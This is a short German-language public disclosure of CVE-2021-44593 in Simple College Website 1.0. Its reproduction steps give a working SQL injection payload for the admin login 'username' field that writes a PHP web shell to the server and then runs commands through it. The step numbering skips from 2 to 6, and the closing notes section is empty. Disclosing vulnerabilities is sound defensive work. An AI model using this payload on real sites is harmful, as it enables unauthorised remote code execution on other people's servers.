CVE-2021-44593

Öffentliche Offenlegung von CVE-2021-44593. Eine SQL-Injection/Arbitrary File Upload/Remote Code Execution-Schwachstelle in Simple College Website.

BESCHREIBUNG

Simple College Website 1.0 ist anfällig für eine nicht authentifizierte UNION-basierte SQL-Injection im Parameter „username“ der Seite /admin/login.php, die anschließend genutzt werden kann, um beliebige Dateien hochzuladen und Remote Code Execution zu erlangen.

BETROFFENE KOMPONENTEN

Die Funktion login() in admin_class.php

SCHRITTE ZUR REPRODUKTION

1. Rufen Sie die Admin-Login-Seite auf (normalerweise /admin/login.php)
2. Senden Sie das Login-Formular mit dem POST-Parameter „username“ ab, der die folgende UNION-basierte SQL-Injection enthält:

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. Navigieren Sie zu /testing.php?cmd=id

HINWEISE